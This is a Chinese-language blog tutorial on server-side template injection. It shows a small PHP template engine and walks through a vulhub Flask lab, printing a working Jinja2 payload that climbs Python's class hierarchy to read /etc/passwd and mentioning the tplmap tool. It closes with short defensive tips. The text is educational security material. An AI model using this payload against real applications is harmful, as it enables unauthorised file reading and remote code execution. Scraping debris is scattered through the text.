SSTI(模板注入)


SSTI簡介  

 何爲模板引擎(SST)    

       百度百科:模板引擎(這裏特指用於Web開發的模板引擎)是爲了使用戶界面與業務數據(內容)分離而產生的,它能夠生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。   
       我的理解就是:一個html頁面中沒有實際內容,可是有變量,訪問這個頁面時須要將這個變量轉換成預期的內容,這時候就須要用到模板引擎。php(或者其餘腳本語言)代碼經過訪問模板引擎,模板引擎經過正則匹配產生一個新的緩存的html頁面,從而實現php和html代碼的分離。
從網上找了個小例子幫助咱們更好的理解SST的做用,大波code來襲:   php

tpl.func.php

<?php
    
    //兩個參數 1,html 模板; 2,須要修改的參數
    function display($tplFile, $tplVars = null)
    {
        $tplFilePath = rtrim(TPL_PATH,'/') . '/' . $tplFile;
        if (!file_exists($tplFilePath)) {
            exit('模版文件不存在');
        }
        $html = compile($tplFilePath);
        $cacheFileName = parsePath($tplFile);
        if (!check_cache_dir(TPL_CACHE)) {
            exit('緩存目錄不可寫');
        }
        if (!file_put_contents($cacheFileName, $html)) {
            exit('緩存文件寫入失敗');
        }
        if (is_array($tplVars)) {
            extract($tplVars);
            include $cacheFileName;
        }
    }
    function check_cache_dir($path)
    {
        if(!file_exists($path) || !is_dir($path)) {
            return mkdir($path,0755,true);
        }
        if(!is_writeable($path) || !is_readable($path)) {
            return chmod($path,0755);
        }
        return true;
    }
    function parsePath($tplFile)
    {
        $path = rtrim(TPL_CACHE,'/').'/'.str_replace('.','_',$tplFile).'.php';
        return $path;
    }
    function compile($path)
    {
        $keys = [
        '{if %%}'              =>    '<?php if(\1): ?>',
        '{else}'               =>    '<?php else : ?>',
        '{else if %%}'         =>    '<?php elseif(\1) : ?>',
        '{elseif %%}'          =>    '<?php elseif(\1) : ?>',
        '{/if}'                =>    '<?php endif;?>',
        '{$%%}'                =>    '<?=$\1;?>',
        '{foreach %%} '        =>    '<?php foreach(\1) :?>',
        '{/foreach}'           =>    '<?php endforeach;?>',
        '{for %%}'             =>    '<?php for(\1):?>',
        '{/for}'               =>    '<?php endfor;?>',
        '{while %%}'           =>    '<?php while(\1):?>',
        '{/while}'             =>    '<?php endwhile;?>',
        '{continue}'           =>    '<?php continue;?>',
        '{break}'              =>    '<?php break;?>',
        '{$%% = $%%}'          =>    '<?php $\1 = $\2;?>',
        '{$%%++}'              =>    '<?php $\1++;?>',
        '{$%%--}'              =>    '<?php $\1--;?>',
        '{comment}'            =>    '<?php /* ',
        '{/comment}'           =>    '*/?>',
        '{/*}'                 =>    '<?php /* ',
        '{*/}'                 =>    '*?>',
        '{section}'            =>    '<?php ',
        '{/section}'           =>    '?>',
        '{include %%}'         =>    '<?php include \1;?>',
        ];
    
        $file = file_get_contents($path);
        foreach ($keys as $key => $val) {
            $pattern = '#'. str_replace('%%', '(.+)', preg_quote($key,'#')) .'#imsU';
            $replace = $val;
            if (stripos($pattern,'include')) {
                $file = preg_replace_callback($pattern, 'parseInclude', $file);
            } 
            else{
                $file = preg_replace($pattern, $replace, $file);
            }
        }
        return $file;
    }
    
    function parseInclude($data)
    {
        $path = str_replace(array('\'','"'),'',$data[1]);
        //data[1]就是-------footer.html
        $cacheFileName = parsePath($path);
        display($path);
        return '<?php include "'.$cacheFileName.'";?>';
    }

config.php  

<?php
    define('TPL_CACHE','./cache/');
    define('TPL_PATH','./views/');
#### test.php   
    <?php
    include 'config.php';
    include 'tpl.func.php';
    
    $title = '圈子社區';
    $content = '圈子社區!圈子社區!';
    
    display('moban.html',compact('title','content','footercontent'));

moban.html  

    <html>
    <head>
    <title>{$title}</title>
    </head>
    <body>
        {$content}
    <br />
    <hr />
    </body>
    </html>

 

爲何要模板引擎   

  若是在一個頁面中php代碼與html代碼混合在一塊兒,在不少時候都會形成不便,用模板引擎可讓php代碼和html代碼進行分離。html

爲何SST是危險的?   

  仍是道哥的那句話,安全的本質是信任。SST信任了用戶的輸入,而且執行這些內容,包括執行本機函數。就像eval函數對傳入的內容未加任何過濾同樣。所以模板注入(SSTI)很容易致使遠程代碼執行(RCE)、信息泄露等漏洞。python

實例演示   

原本準備找CTF題的,可是一直沒找到,若是有師傅找到源碼,望分享!   
這裏就用vuhub的ssti測試一下   
訪問頁面是hello guestgit

 

 

由於看過app.py的源碼,因此直接在後面加參數?name=123,顯示hello 123github

 

說明這裏的name咱們是被信任的(當它什麼都沒過濾),猜想存在ssti。   
接着再輸入一個表達式{{2*3}}flask

 

顯示hello 6,驗證了存在ssti。     
payload   
python3 :讀取文件  緩存

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

 

 

也能夠用工具tplmap,挺好用   
https://github.com/epinna/tplmap   安全

 

如何防護SSTI?   


1.儘量加載靜態模板文件。

2.不要容許用戶控制此類文件或其內容的路徑。

app

參考

https://xi4or0uji.github.io/2019/01/17/2019-1-15-flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/   
https://blog.csdn.net/qq_40657585/article/details/83657220   




函數

相關文章
相關標籤/搜索